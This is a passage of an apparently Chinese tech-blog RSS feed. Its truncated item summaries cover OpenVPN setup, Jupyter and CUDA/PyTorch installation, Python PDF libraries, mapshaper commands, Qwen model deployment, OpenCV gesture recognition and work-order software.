News的世界大学排名，按照往年的时间，估计得再等等了。&#xA;写在最后&#xA;主页君向来认为，排名不能说明一切，第1名和第10名不一定就有很大差别。&#xA;数字的确可以体现一些问题，但并不是选校的唯一依据，学校的教学质量、学习氛围以及校园环境，学校提倡的价值观，对国际生的态度等，都是需要我们仔细思考、认真考量的。&#xA;参考排名，但不要被排名所绑架，主页君真心希望各位小伙伴们选择一所最适合你的好学校，度过你生命里美好且重要的四年时光。&#xA;版权声明&#xA;本文来源：除特别注明原创授权转载文章外，其他文章均为转载，版权归原作者或平台所有，仅用于学术分享。如有侵权请联系小编删除。编辑：研路科研人Sci&#xA;哎呦，不错哦~</description>
    </item>
    <item>
      <title>openvpn搭建与简单配置</title>
      <link>https://bchobby.github.io/posts/2e33ed87579c4c6ddcd0a1cd4f8dabdc/</link>
      <pubDate>Sun, 08 Oct 2023 14:10:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2e33ed87579c4c6ddcd0a1cd4f8dabdc/</guid>
      <description>一，openvpn概念 OpenVPN是一个开源的虚拟专用网络（VPN）解决方案，可用于建立安全的远程连接。它通过在公共网络上创建加密的隧道来保护数据传输的安全性和隐私性。下面是一些与OpenVPN相关的概念：&#xA;虚拟专用网络（VPN）：VPN是一种通过公共网络（如互联网）在不同位置的计算机之间创建私密连接的技术。它使得远程用户可以安全地访问私有网络资源，并且可以加密数据以保护隐私。&#xA;服务器和客户端：在OpenVPN中，有一个OpenVPN服务器和一个或多个OpenVPN客户端。服务器负责接收和处理客户端的连接请求，而客户端则连接到服务器以获得安全的网络访问。&#xA;配置文件：OpenVPN使用配置文件来定义服务器和客户端的行为。配置文件包含了各种参数和选项，如连接协议、加密算法、证书和密钥的位置等。&#xA;证书和密钥：OpenVPN使用证书和密钥来进行身份验证和加密通信。服务器和客户端都需要拥有自己的证书和密钥，以确保只有合法的用户可以建立连接并加密数据传输。&#xA;加密和身份验证：OpenVPN使用不同的加密算法来保护数据的安全性，如AES、DES、SHA等。此外，它还支持使用证书和用户名/密码进行身份验证，以确保只有授权用户可以连接到服务器。&#xA;隧道：OpenVPN通过在公共网络上创建加密的隧道来传输数据。这个隧道使得数据在互联网上的传输过程中变得不可见和不可读，从而保护了数据的安全性。&#xA;通过使用OpenVPN，用户可以在不安全的公共网络上建立一个安全的私有网络连接。无论是远程办公、远程访问公司资源，还是保护个人隐私，OpenVPN提供了一个可靠和灵活的解决方案。&#xA;二，openvpn安装配置 安装和配置OpenVPN的详细流程如下：&#xA;安装OpenVPN软件包：&#xA;sudo yum install epel-release -y sudo yum install openvpn easy-rsa -y 创建OpenVPN配置文件：&#xA;sudo cp /usr/share/doc/openvpn-x.x.x/sample/sample-config-files/server.conf /etc/openvpn/ 生成Easy-RSA CA（证书颁发机构）：&#xA;sudo cp -r /usr/share/easy-rsa/ /etc/openvpn/ cd /etc/openvpn/easy-rsa/3.x/ 编辑vars文件，设置必要的变量：&#xA;sudo nano vars 在文件底部找到以下行并进行修改：&#xA;export KEY_COUNTRY=&#34;US&#34; export KEY_PROVINCE=&#34;CA&#34; export KEY_CITY=&#34;SanFrancisco&#34; export KEY_ORG=&#34;MyOrganization&#34; export KEY_EMAIL=&#34;admin@example.com&#34; export KEY_OU=&#34;MyOrganizationalUnit&#34; 保存并关闭文件。&#xA;初始化证书颁发机构：&#xA;sudo ./easyrsa init-pki sudo ./easyrsa build-ca 生成服务器证书和密钥：&#xA;sudo ./easyrsa gen-req server nopass sudo .</description>
    </item>
    <item>
      <title>Jupyter Notebook</title>
      <link>https://bchobby.github.io/posts/802125395813e0bec35472d0403ab94e/</link>
      <pubDate>Sun, 08 Oct 2023 13:56:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/802125395813e0bec35472d0403ab94e/</guid>
      <description>1、Jupyter Notebook启动文件 （1）安装好Anaconda后，打开Anaconda Prompt，输入jupyter notebook，浏览器就会自行打开Jupyter Notebook。&#xA;（2）每次输入命令行太麻烦，我们可以建一个.bat脚本文件，新建一个记事本，输入jupyter notebook，另存为.bat文件。双击运行.bat文件即可启动Jupyter notebook。&#xA;（3）看着不舒服，搞个好看的图标。右击.bat文件，发送到桌面快捷方式。&#xA;（5）右击，点击“属性-快捷方式-更改图标”，网上找到自己喜欢的图片，对图片抠图，转为ico图标。将快捷方式图标更换为ico图标。&#xA;2、设置Jupyter Notebook工作目录 （1）打开Anaconda Prompt，输入jupyter notebook --generate-config，找到jupyter_notebook_config.py文件的位置。&#xA;（2）记事本打开jupyter_notebook_config.py文件，点击“编辑-查找”，输入NotebookApp.notebook_dir找到所在行，删除前面的#，在单引号内输入Jupyter Notebook工作位置，例如，我是将Jupyter Notebook的文件存放在G:\jupyterproj。&#xA;修改后保存&#xA;（3）开始菜单找到Jupyter Notebook，点击鼠标右键，点击“更多-打开文件位置”。右击Jupyter Notebook快捷方式，点击属性。删除&#34;%USERPROFILE%/&#34;，点击确定。之后Jupyter Notebook都工作在G:\jupyterproj目录下。&#xA;3、Jupyter Notebook找不到conda配置的环境 打开Jupyter Notebook后，发现右上角说没内核或者找不到conda配置的环境。在Anaconda Prompt 中，输入anaconda activate +环境名，进入配置的环境。输入conda install ipykernel。再输入python -m ipykernel install --name pytorch（环境名）。然后打开Jupyter Notebook，就可以看到pytorch环境。</description>
    </item>
    <item>
      <title>微信小程序开发：实现地图导航功能</title>
      <link>https://bchobby.github.io/posts/125fd2000df7afdd85b9eb77d7f0192a/</link>
      <pubDate>Sun, 08 Oct 2023 13:51:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/125fd2000df7afdd85b9eb77d7f0192a/</guid>
      <description>一、前言&#xA;如今，地图导航成为了现代人日常出行不可或缺的工具，而随着移动互联网的发展，地图导航也已经成为了手机应用的核心功能之一。本文将围绕微信小程序开发，详细介绍地图导航功能的实现。&#xA;二、微信小程序的基础知识&#xA;微信小程序是一种轻量级应用，仅需基础的HTML、CSS、JavaScript编程知识即可进行开发。由于微信小程序不需要下载安装，可以直接在微信客户端中使用，因此具有无需安装、无需升级、快速开发等特点。微信小程序的开发语言主要有两种：WXML和JavaScript，其中WXML是一种类似于HTML的标记语言，用于描述页面的结构，而JavaScript则用于描述页面的逻辑。&#xA;三、实现地图导航功能的前置准备&#xA;1.获取地理位置&#xA;开发地图导航功能的前置条件是获取用户的地理位置。在微信小程序中，可以通过wx.getLocation()方法获取用户的地理位置，该方法的调用方式如下：&#xA;wx.getLocation({ type: &#39;gcj02&#39;, //返回可以用于wx.openLocation的经纬度 success: function(res) { var latitude = res.latitude var longitude = res.longitude var speed = res.speed var accuracy = res.accuracy } }) 2.引入地图API&#xA;实现微信小程序中的地图导航功能，需要引入相关的地图API，如腾讯地图API、高德地图API等。以腾讯地图API为例，需要在微信小程序的app.json文件中进行如下配置：&#xA;{ &#34;pages&#34;: [ &#34;pages/index/index&#34; ], &#34;window&#34;: { &#34;backgroundTextStyle&#34;: &#34;light&#34;, &#34;navigationBarBackgroundColor&#34;: &#34;#fff&#34;, &#34;navigationBarTitleText&#34;: &#34;Demo&#34;, &#34;navigationBarTextStyle&#34;: &#34;black&#34; }, &#34;permission&#34;: { &#34;scope.userLocation&#34;: { &#34;desc&#34;: &#34;你的位置信息将用于小程序位置接口的效果展示&#34; } }, &#34;plugins&#34;: { &#34;myPlugin&#34;: { &#34;version&#34;: &#34;1.0.0&#34;, &#34;provider&#34;: &#34;wxidxxxxxxxxxxxxxxxx&#34; } }, &#34;usingComponents&#34;: { &#34;</description>
    </item>
    <item>
      <title>Python与PDF文件处理</title>
      <link>https://bchobby.github.io/posts/a64b172da7bddbcfe18e2ef6b15e3385/</link>
      <pubDate>Sun, 08 Oct 2023 13:50:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a64b172da7bddbcfe18e2ef6b15e3385/</guid>
      <description>Python是一种高级编程语言，主要用于数据分析、机器学习、图像处理等领域。在PDF文件处理方面，Python有许多强大的库和工具，可以方便地对PDF文件进行读取、写入、编辑、转换等操作。本文将详细介绍Python在PDF文件处理方面的应用。&#xA;一、Python中常用的PDF文件处理库&#xA;PyPDF2库 PyPDF2是一个纯Python库，用于操作PDF文件。它能够读取、分割、合并、水印以及加密和解密PDF文件。使用PyPDF2库，我们可以轻松地检索、添加、删除和修改PDF文件的元数据、书签和链接等。此外，它还支持旋转和缩放PDF页面，可以从PDF文件中提取文本和图片，并可以将PDF文件转换为图像格式。&#xA;安装方式：&#xA;pip install PyPDF2 使用方式：&#xA;import PyPDF2 # 打开PDF文件 pdf_file = open(&#39;example.pdf&#39;, &#39;rb&#39;) # 创建一个PDF阅读器对象 pdf_reader = PyPDF2.PdfFileReader(pdf_file) # 获取PDF文件总页数 num_pages = pdf_reader.getNumPages() # 获取PDF文件第一页 first_page = pdf_reader.getPage(0) # 从PDF文件第一页提取文本 text = first_page.extractText() # 关闭PDF文件 pdf_file.close() pdfrw库 pdfrw库是一个Python PDF库，用于读取、写入和操作PDF文件中的内容。它支持创建、合并、拆分、旋转和缩放PDF文件。pdfrw库还可以帮助我们修改PDF文件中的表单字段、注释和元数据等。此外，pdfrw库还允许我们将PDF文件中的某些部分以文本或图像格式提取出来。&#xA;安装方式：&#xA;pip install pdfrw 使用方式：&#xA;import pdfrw # 打开PDF文件 pdf_file = open(&#39;example.pdf&#39;, &#39;rb&#39;) # 读取PDF文件中的内容 pdf_content = pdfrw.PdfReader(pdf_file) # 修改PDF文件中的某些内容 pdf_content.Info.Title = &#39;New Title&#39; # 保存修改后的PDF文件 pdfrw.</description>
    </item>
    <item>
      <title>Anaconda配置GPU版本的pytorch</title>
      <link>https://bchobby.github.io/posts/edf93583d5dbb6fb39d90bd66ec12781/</link>
      <pubDate>Sun, 08 Oct 2023 12:28:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/edf93583d5dbb6fb39d90bd66ec12781/</guid>
      <description>CUDA11.6，cuDNN8.6.0，conda配置了python3.9的环境，pytorch=1.12.0&#xA;1、查看电脑是否有GPU （1）搜索计算机管理。点击“设备管理器-显卡适配器”，就可看到是否有GPU。&#xA;如下图，显卡是NVIDIA显卡，才可以安装GPU版本的pytorch。&#xA;显卡是AMD显卡，只能安装CPU版本的pytorch。&#xA;2 、查看是否安装cuda （1）按下win+R，输入cmd进入命令提示符。输入nvcc -V，查看是否安装cuda。目前尚未安装cuda。&#xA;3、 Pytorch，CUDA及python对应的版本 以下两张截图来自 Pytorch，CUDA及python对应的版本&#xA;4、 安装并配置cuda 4.1查看NVIDA兼容的CUDA版本 （1）点击桌面右下角的“^”，进入NVIDA控制面板。（没有的话，可在）&#xA;4.2 安装CUDA （1）我的安装版本是CUDA11.6，conda配置了python3.9的环境，pytorch=1.12.1。&#xA;CUDA官方下载地址&#xA;（2）win10选10，win11选11.&#xA;（3）双击.exe文件，选择文件存放位置，等待。&#xA;（4）同意继续。&#xA;（6）自定义，下一步。&#xA;（7）下一步。&#xA;（8）在之前的安装目录D:\CUDA中新建文件夹，目录为：&#xA;D:\CUDA\v11.6&#xA;D:\CUDA\Samples&#xA;选择安装位置，如下图，下一步。&#xA;（9）勾选，next。&#xA;（10）下一步，关闭。&#xA;4.3 配置CUDA环境变量 （1）搜索“编辑系统环境变量”，打开。&#xA;（2）高级-环境变量。&#xA;（3）CUDA_PATH和CUDA_PATH_V11_6这两个系统变量一般会自动生成，值为D:\CUDA\v11.6（没有的话自己添加）。NVCUDASAMPLES_ROOT和NVCUDASAMPLES11_6_ROOT需要自己添加，点击新建，输入变量名和值，其值为D:\CUDA\Samples。（这里的值就是你之前自己设置的安装位置）&#xA;4.4 验证CUDA是否安装成功 cmd中输入nvcc -V，出现下图即安装成功。&#xA;5、安装并配置cuDNN 5.1 安装cuDNN cuDNN 历史版本（1）cuDNN 历史版本可以看到所有版本的cuDNN，及其与CUDA版本对应关系。&#xA;（2）我选择安装cuDNN8.6.0版本，点击Windows 本地安装程序（Zip）下载文件。&#xA;（3）解压后，复制文件中的bin，include，lib三个文件。&#xA;（4）粘贴到D:\CUDA\v11.6中，覆盖三个同样名字的文件。&#xA;5.2 配置cuDNN系统变量 （1）搜索“编辑系统环境变量”，打开。点击“高级-环境变量”，在系统变量中点击Path。&#xA;（2）点击“新建-浏览”，将以下路径添加进来。&#xA;D:\CUDA\v11.6\bin&#xA;D:\CUDA\v11.6\include&#xA;D:\CUDA\v11.6\lib&#xA;D:\CUDA\v11.6\libnvvp&#xA;5.3 验证cuDNN是否安装成功 （1）在D:\CUDA\v11.6\extras\demo_suite路径下启动终端。&#xA;（2）输入.\deviceQuery.exe，运行deviceQuery程序，出现以下画面。&#xA;（3）输入.\bandwidthTest.exe，运行bandwidthTest程序，出现以下画面，cuDNN安装成功。&#xA;6、Anaconda配置的环境下安装GPU版本pytorch 之前，在这篇博客中，我们已经利用anaconda创建了名为pytorch的conda环境。&#xA;（1）在Previous Pytorch Versions查看相应的conda版本。</description>
    </item>
    <item>
      <title>VScode配置Jupyter</title>
      <link>https://bchobby.github.io/posts/2e496525dbdbed88e22a19f66284d8f3/</link>
      <pubDate>Sat, 07 Oct 2023 22:59:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2e496525dbdbed88e22a19f66284d8f3/</guid>
      <description>环境 安装步骤 1、插件安装&#xA;2、更改pip加速源&#xA;pip config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple 参考：vscode python配置pip源&#xA;​​​​​​​ 【Python学习】Day-00 Python安装、VScode安装、pip命令、镜像源配置、虚拟环境&#xA;3、建立虚拟环境&#xA;4、安装ipykernel&#xA;5、设置Python解释器&#xA;4、测试&#xA;print(&#34;Do you want to install the recommended &#39;Python&#39; extension from Microsoft for the Python language?&#34;) 参考：python venv pip和vscode+Jupyter编码环境准备 ​​​​​​​</description>
    </item>
    <item>
      <title>mapshaper在线的地图编辑器命令</title>
      <link>https://bchobby.github.io/posts/707c279d156611c5d146122d891cc267/</link>
      <pubDate>Sat, 07 Oct 2023 22:52:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/707c279d156611c5d146122d891cc267/</guid>
      <description>Mapshaper Mapshaper是一个强大的地图数据处理工具，它可以将复杂的地理数据转换成各种形状和颜色，以可视化地图的形式呈现出来。&#xA;Mapshaper的功能非常丰富，主要包括地图编辑、属性编辑、裁剪、擦除、合并、过滤等。具体来说，Mapshaper可以用来进行以下操作：&#xA;地图编辑：Mapshaper提供了多种地图编辑功能，如裁剪、融合、擦除、简化、连接、合并等，用户可以利用这些功能对地图进行修改和完善。例如，使用“clip”命令可以将地图中的某个区域裁剪出来，使用“dissolve”命令可以将多个多边形融合成一个多边形，使用“erase”命令可以擦除地图中的某个区域，使用“simplify”命令可以简化地图中的复杂部分，使地图更加简洁明了。属性编辑：Mapshaper可以管理地图的属性信息，包括名称、描述、坐标等。用户可以利用Mapshaper的属性编辑功能来添加、修改或删除地图的属性信息。数据转换：Mapshaper支持多种数据格式的输入和输出，如shapefile、GeoJSON、CSV等。用户可以利用Mapshaper的数据转换功能，将不同格式的数据转换成自己需要的格式。投影信息：Mapshaper可以获取和设置地图的投影信息，帮助用户更好地了解地图数据的坐标系和投影方式。版本信息：Mapshaper还可以获取和处理地图数据集的版本信息。 除了以上功能，Mapshaper还具有以下特点：&#xA;在线编辑：Mapshaper是一个在线工具，用户可以直接在浏览器中打开并编辑地图数据，无需下载任何软件。交互式界面：Mapshaper具有直观的交互式界面，用户可以轻松上手并快速掌握各种操作。支持大规模数据：Mapshaper可以处理大规模的地图数据集，并提供了高效的计算和渲染方法。开放式API：Mapshaper提供了开放式的API，允许用户根据自己的需求定制和扩展功能。数据安全保障：Mapshaper注重用户数据的安全性，采用了多种加密和安全措施来保护用户的数据。 总的来说，Mapshaper是一个功能强大、使用方便、安全可靠的地图数据处理工具，适用于各种需要处理和可视化地图数据的场景。&#xA;其命令可以根据功能大致分为三类：编辑命令、信息类命令以及其他常用命令。&#xA;编辑命令： -clip &amp;lt;裁剪&amp;gt;: 移除裁剪范围外的要素或部分要素。-cluster &amp;lt;聚类&amp;gt;: 将多边形分成简洁的聚簇组。-dissolve &amp;lt;合并&amp;gt;: 合并多边形或点要素。-each: 利用js表达式创建、更新或删除数据项。-erase &amp;lt;擦除&amp;gt;: 移除落在多边形范围内的要素或部分要素。-explode &amp;lt;打散&amp;gt;: 将图层中的每个多部件要素打散成几个独立部分的要素。-filter &amp;lt;过滤要素&amp;gt;: 通过条件过滤掉不满足条件的要素。-filter-fields &amp;lt;过滤字段&amp;gt;: 删除属性表中的字段（可指定保留的字段）。-filter-islands &amp;lt;过滤孤岛/环&amp;gt;: 移除小的独立的环状多边形/孤岛。-filter-silvers &amp;lt;过滤面积&amp;gt;: 通过面积过滤掉多边形小碎片。-graticule &amp;lt;格网&amp;gt;: 创建经度为0度、覆盖世界的网格图层。-linerlines &amp;lt;共享边界&amp;gt;: 创建由共享边界构成的线状图层（无属性）。-join &amp;lt;连接&amp;gt;: 将源图层或文件的属性数据连接到目标图层。-lines &amp;lt;边界&amp;gt;: 将多边形转成有拓扑的边界。-merge-layers &amp;lt;融合&amp;gt;: 将几个图层的多个要素融合到一个图层中。-point-grid: 创建矩形网格点。-points &amp;lt;点要素&amp;gt;: 从多边形或属性表创建点要素图层。-proj &amp;lt;投影&amp;gt;: 利用proj4字符串或别名投影数据集。-rename-fields: 重命名数据域。-rename-layers: 重命名图层。-simplify &amp;lt;简化&amp;gt;: 利用道格拉斯或其他两种方法对数据进行简化。-sort &amp;lt;排序&amp;gt;: 利用js表达式对要素进行排序。-split &amp;lt;拆分&amp;gt;: 基于属性值将目标层的数据拆分到多个输出层中，如果没有指定数据域，每个要素都将成为独立的图层。-slpit-on-grid &amp;lt;切块&amp;gt;: 指定行列数将要素分割成独立的图层。-subdivide: 二维图形分割为几个部分。-svg-style: 为svg格式输出和在web UI中的展现添加通用svg样式属性。-target: 设置默认目标图层。-uniq &amp;lt;唯一化&amp;gt;: 删除与前面要素id重复的要素。 信息类命令: call：利用js表达式计算并展现数据表的基本描述性统计结果。 其他常用命令:&#xA;注：这部分命令可用来进行文件和地图的相关操作，例如打开和保存文件、导出地图等，详情可查看Mapshaper的官方文档。 在使用Mapshaper的命令时，需要注意命令的参数和使用方法，以确保能正确执行命令并获得预期的结果。&#xA;项目工具 标准的geojson文件；mapshaper plus在线工具；geojson.io在线工具； dissolve合并步骤 导出乡镇geojson文件 需要合并的乡镇数据换成统一的名称 将“name”字段改为&#34;</description>
    </item>
    <item>
      <title>大并发小号平台（AXB）</title>
      <link>https://bchobby.github.io/posts/52289f363892c9020f6daba973b702fd/</link>
      <pubDate>Sat, 07 Oct 2023 21:59:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/52289f363892c9020f6daba973b702fd/</guid>
      <description>1、使用opensips开发通过控制信令的方式完成AXB绑定解绑关系。&#xA;2、采用mysql+redis组合让绑定解绑速度更快。&#xA;3、使用自定义编辑的方式可视化编写接口参数。&#xA;4、落地管理，对接管理。&#xA;性能测试描述：8核心16G生产环境测试3万并发，16核心32G压力测试5万并发。</description>
    </item>
    <item>
      <title>【LLM】Windows10环境部署阿里通义千问大模型(Qwen-14B-Chat-Int4)</title>
      <link>https://bchobby.github.io/posts/c5cd19f8eb471f166137c0bf8f6c6449/</link>
      <pubDate>Sat, 07 Oct 2023 19:05:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c5cd19f8eb471f166137c0bf8f6c6449/</guid>
      <description>文章目录 环境文件准备项目代码模型相关文件 运行准备工作运行demo Tips 环境 系统版本：Windows 10 企业版&#xA;版本号：20H2&#xA;系统类型：64 位操作系统, 基于 x64 的处理器&#xA;处理器：Intel® Core™ i7-13700K CPU @ 3.40GHz&#xA;机带 RAM：16.0 GB&#xA;显卡：NVIDIA RTX 4080（16G）&#xA;Python版本：3.10.11&#xA;文件准备 项目代码 Git地址：https://github.com/QwenLM/Qwen&#xA;创建好归档的文件夹，直接克隆即可：&#xA;git clone https://github.com/QwenLM/Qwen.git 模型相关文件 地址：https://huggingface.co/Qwen/Qwen-14B-Chat-Int4&#xA;注意：从huggingface.co上克隆，需要魔法、cmd命令行设置代理&#xA;魔法软件端口信息：&#xA;在cmd命令行执行：&#xA;set https_proxy=https://127.0.0.1:8001 完成上述配置后可以开始克隆了&#xA;模型文件比较大，需要使用git-lfs，下载git-lfs并安装：https://git-lfs.com，安装完配置好环境变量，&#xA;完成上述配置后，执行：&#xA;git lfs install git clone https://huggingface.co/Qwen/Qwen-14B-Chat-Int4 运行 准备工作 安装所需的依赖，进入下载好的项目代码代码根目录，执行：&#xA;pip install -r requirements.txt pip install auto-gptq optimum 所有文件下载完成后，修改web_demo.py中模型文件路径：&#xA;运行demo 尝试执行：python web_demo.py，看看是否会报错，如果报错，就根据提示改：&#xA;提示需要设置share=True，在web_demo.py中找到对应位置：&#xA;再运行试试：&#xA;日志显示已启动成功，打开页面，可以正常进行问答，运行比较流畅：&#xA;Tips 从别的机器上访问，连接是拒绝的，查看日志，生成了一个临时的分享地址，可以提供给局域网内其他人使用</description>
    </item>
    <item>
      <title>计算机竞赛 题目：基于机器视觉opencv的手势检测 手势识别 算法 - 深度学习 卷积神经网络 opencv python</title>
      <link>https://bchobby.github.io/posts/bb45529a4afd720304a3966fc451ee8f/</link>
      <pubDate>Sat, 07 Oct 2023 18:14:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bb45529a4afd720304a3966fc451ee8f/</guid>
      <description>文章目录 1 简介2 传统机器视觉的手势检测2.1 轮廓检测法2.2 算法结果2.3 整体代码实现2.3.1 算法流程 3 深度学习方法做手势识别3.1 经典的卷积神经网络3.2 YOLO系列3.3 SSD3.4 实现步骤3.4.1 数据集3.4.2 图像预处理3.4.3 构建卷积神经网络结构3.4.4 实验训练过程及结果 3.5 关键代码 4 最后 1 简介 🔥 优质竞赛项目系列，今天要分享的是&#xA;基于机器视觉opencv的手势检测 手势识别 算法&#xA;该项目较为新颖，适合作为竞赛课题方向，学长非常推荐！&#xA;🧿 更多资料, 项目分享：&#xA;https://gitee.com/dancheng-senior/postgraduate&#xA;2 传统机器视觉的手势检测 普通机器视觉手势检测的基本流程如下：&#xA;其中轮廓的提取，多边形拟合曲线的求法，凸包集和凹陷集的求法都是采用opencv中自带的函数。手势数字的识别是利用凸包点以及凹陷点和手部中心点的几何关系，简单的做了下逻辑判别了（可以肯定的是这种方法很烂），具体的做法是先在手部定位出2个中心点坐标，这2个中心点坐标之间的距离阈值由程序设定，其中一个中心点就是利用OpenNI跟踪得到的手部位置。有了这2个中心点的坐标，在程序中就可以分别计算出在这2个中心点坐标上的凸凹点的个数。当然了，这样做的前提是用人在做手势表示数字的同时应该是将手指的方向朝上（因为没有像机器学习那样通过样本来训练，所以使用时条件要苛刻很多）。利用上面求出的4种点的个数(另外程序中还设置了2个辅助计算点的个数，具体见代码部分)和简单的逻辑判断就可以识别出数字0~5了。其它的数字可以依照具体的逻辑去设计（还可以设计出多位数字的识别），只是数字越多设计起来越复杂，因为要考虑到它们之间的干扰性，且这种不通用的设计方法也没有太多的实际意义。&#xA;2.1 轮廓检测法 使用 void convexityDefects(InputArray contour, InputArray convexhull,&#xA;OutputArray convexityDefects) 方法&#xA;该函数的作用是对输入的轮廓contour，凸包集合来检测其轮廓的凸型缺陷，一个凸型缺陷结构体包括4个元素，缺陷起点坐标，缺陷终点坐标，缺陷中离凸包线距离最远的点的坐标，以及此时最远的距离。参数3即其输出的凸型缺陷结构体向量。&#xA;其凸型缺陷的示意图如下所示：&#xA;第1个参数虽然写的是contour，字面意思是轮廓，但是本人实验过很多次，发现如果该参数为目标通过轮廓检测得到的原始轮廓的话，则程序运行到onvexityDefects()函数时会报内存错误。因此本程序中采用的不是物体原始的轮廓，而是经过多项式曲线拟合后的轮廓，即多项式曲线，这样程序就会顺利地运行得很好。另外由于在手势识别过程中可能某一帧检测出来的轮廓非常小（由于某种原因），以致于少到只有1个点，这时候如果程序运行到onvexityDefects()函数时就会报如下的错误：&#xA;​&#xA;int Mat::checkVector(int _elemChannels, int _depth, bool _requireContinuous) const { return (depth() == _depth || _depth &amp;lt;= 0) &amp;amp;&amp;amp; (isContinuous() || !</description>
    </item>
    <item>
      <title>工程派工单，建筑工程派工单</title>
      <link>https://bchobby.github.io/posts/80ca2d3b99454a348a84dd1ef8755e19/</link>
      <pubDate>Sat, 07 Oct 2023 17:08:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/80ca2d3b99454a348a84dd1ef8755e19/</guid>
      <description> 工程派工单是指建设项目管理人员或工程维修人员发出的文件，用于标明工人或维修人员在建设项目或设备中处理或维修问题的任务。派工单包括建设项目的实际维护任务、所需材料、工具等信息，以及具体的执行人员和完成时间。工程派工单是保证建设项目顺利开展和今后安全运行的重要工具。&#xA;工程维修派工单是建筑工程和建筑工程中最常用的派工单类型之一。通常用于工程项目中各种工业设备、电子产品和配件的维护和修复。维修人员可根据工程维修派工单中的详细描述进行操作，以便在最短时间内完成维修任务。&#xA;工程派工单种类繁多，但一般包括项目名称、工作内容、工作地点、执行人员、工作时间、工作注意事项等信息。在建设项目中，工程派工单还应提高工程负责人、设计师等其他信息。&#xA;无论是建筑工程还是建筑工程，工程派工单都是保证建筑工程正常运行和安全的重要工具。根据工程派工单的规范使用，可以避免建筑工程的延误和质量问题，提高效率，降低工作成本。&#xA;派工单是一种高效的工单系统软件，旨在满足学校、行政、企业、机房等各个领域的工单管理需求。该产品拥有集成化、定制化、可视化管理等多项特点，能够为用户提供一站式的全流程的工单管理服务。&#xA;集成化的工单系统软件&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;作为一个集成化的工单系统软件，派工单让用户可以在一个平台上完成工单的全生命周期管理，包括工单创建、自动运转、处理和管理等。用户可以随时了解工单的进展情况，通过数据统计，更好地掌握项目的进度和质量。 具备强大的定制化能力&amp;amp;nbsp; &amp;amp;nbsp; &amp;amp;nbsp; &amp;amp;nbsp; 派工单具备强大的定制化能力，可以根据各个行业不同的需求，为用户提供专属的定制化服务，以满足用户的精准需求。而且，还可以根据不同用户的权限来设置操作和管理的权限，保证信息的安全性和保密性。 可视化的管理界面&amp;amp;nbsp; &amp;amp;nbsp; &amp;amp;nbsp; &amp;amp;nbsp; 派工单可视化的管理界面，方便用户直观地查看和处理工单。用户可以通过图表和分析结果，直观地展现工单的情况和趋势，为决策提供数据参考。 </description>
    </item>
    <item>
      <title>10.7Python</title>
      <link>https://bchobby.github.io/posts/c0a4c9ad8dd27d5d5aa65dff32810f9a/</link>
      <pubDate>Sat, 07 Oct 2023 16:57:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c0a4c9ad8dd27d5d5aa65dff32810f9a/</guid>
      <description>元组&#xA;menus = (&#39;东坡肉&#39;, &#39;佛跳墙&#39;, &#39;狮子头&#39;, &#39;酱大骨&#39;, &#39;猪肘子&#39;) print(&#39;修改前的菜单为：&#39;, end=&#39;&#39;) for i in menus: print(i, end=&#34; &#34;) print(&#39;&#39;) menus_list = list(menus) menus_list[3] = &#39;杏仁豆腐&#39; menus = tuple(menus_list) print(&#39;修改后的菜单为：&#39;, end=&#39;&#39;) for i in menus: print(i, end=&#34; &#34;) 集合&#xA;existed_usernames = {&#39;viv&#39;, &#39;apple&#39;, &#39;sky&#39;, &#39;apple&#39;} while 1: new_username = input(&#39;请输入用户名：&#39;) tem = {new_username} if tem.isdisjoint(existed_usernames): print(&#39;可以使用该用户名&#39;) existed_usernames.add(new_username) break else: print(&#39;已有用户名请重新输入&#39;) print(existed_usernames) 随机十个三位数&#xA;import random num = set() while len(num) &amp;lt; 10: num_ = random.</description>
    </item>
    <item>
      <title>维修派工单，为什么要使用维修派工单</title>
      <link>https://bchobby.github.io/posts/e389277c8943a561f6973c4a10f505dc/</link>
      <pubDate>Sat, 07 Oct 2023 16:46:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e389277c8943a561f6973c4a10f505dc/</guid>
      <description>维修派工单是一种至关重要的管理工具，主要用于分配维修人员对设备进行维护和维修。根据派工单，可以快速清晰地分配维修任务，掌握设备维护的进度和效果，提升设备维护的效率和效果。&#xA;良好的维修工单应具有清晰的格式，包括设备名称、设备维护内容、工作地点、工作时间、维修人员及其负责人等信息。这些数据的准确性和完整性非常重要，可以帮助维修人员快速了解工作内容和工作计划，并做好准备。&#xA;维修派工单还应注意对派工单的监督，包括对已完成的派工单进行归档，实时了解维修中存在的问题和维修人员的工作效果，并及时反馈和改进。&#xA;维修派工单的优秀管理不仅体现在详细的派工单格式和精细的管理工作上，更注重人员的培训和管理。维修人员必须具有优秀的专业能力和较高的工作责任感，还需要定期接受培训和评估，以确保设备维护的质量和效率。&#xA;维修工单是企业管理中不可缺少的一部分。根据制定标准化的维护工单，加强维护人员的培训和管理，可以提高维护工作的质量和效率，降低成本，提高效率，创造更安全、高效、可靠的工作氛围。&#xA;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;派工单，是一种高效的工单系统软件，旨在满足学校、行政、企业、机房等各个领域的工单管理需求。该产品拥有集成化、定制化、可视化管理等多项特点，能够为用户提供一站式的全流程的工单管理服务。&#xA;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;作为一个集成化的工单系统软件，派工单让用户可以在一个平台上完成工单的全生命周期管理，包括工单创建、自动运转、处理和管理等。用户可以随时了解工单的进展情况，通过数据统计，更好地掌握项目的进度和质量。&#xA;&amp;